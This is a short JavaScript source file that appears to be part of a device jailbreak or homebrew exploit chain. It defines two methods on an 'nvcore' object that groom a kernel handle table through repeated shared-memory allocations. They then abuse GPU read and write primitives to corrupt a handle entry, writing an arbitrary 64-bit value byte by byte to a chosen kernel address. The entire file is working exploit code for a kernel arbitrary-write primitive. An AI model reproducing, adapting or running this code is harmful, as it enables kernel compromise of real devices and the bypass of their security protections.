kernWrite.js

nvcore.prototype.kernWriteU8 = function(u8, addr, entry) {
    var hnd = this.createSharedMemory(0x1000);
    var val = this.gpuRead4(entry) & 0xFF;
    this.closeHandle(hnd);
    var numTimes = u8 + 0x200 - val;
    numTimes -= 2;
    numTimes &= 0xFF;
    utils.log('Writing '+u8.toString(16)+' requires '+numTimes+' allocations.');
    for (var i = 0; i < numTimes; i++) {
        this.closeHandle(this.createSharedMemory(0x1000));
    }
    this.gpuWrite(addr[0], entry);
    this.gpuWrite(addr[1], entry + 4);
    var hnd1 = this.createSharedMemory(0x1000);
    var hnd2 = this.createSharedMemory(0x1000);
    this.closeHandle(hnd1);
    this.gpuWrite((entry & 0x0FFFFFFF) + 0x10, entry);
    this.gpuWrite(0xFFFFFFFE, entry + 4);
}

nvcore.prototype.kernWrite = function(val, addr) {
    if (typeof(val) == 'number') {
        val = [val, 0];
    }
    var entry = this.getFirstFreeHandleEntry();
    utils.log('ENTRY: '+entry.toString(16));
    for (var i = 0; i < 8; i++) {
        var u8 = 0xFF << (8 * (i % 4));
        u8 &= val[(i / 4) >>> 0];
        u8 >>= (8 * (i % 4));
        u8 &= 0xFF;
        utils.log('Writing '+u8.toString(16)+' to '+utils.paddr(utils.add2(addr, i)));
        this.kernWriteU8(u8, utils.add2(addr, i), entry);
    }
}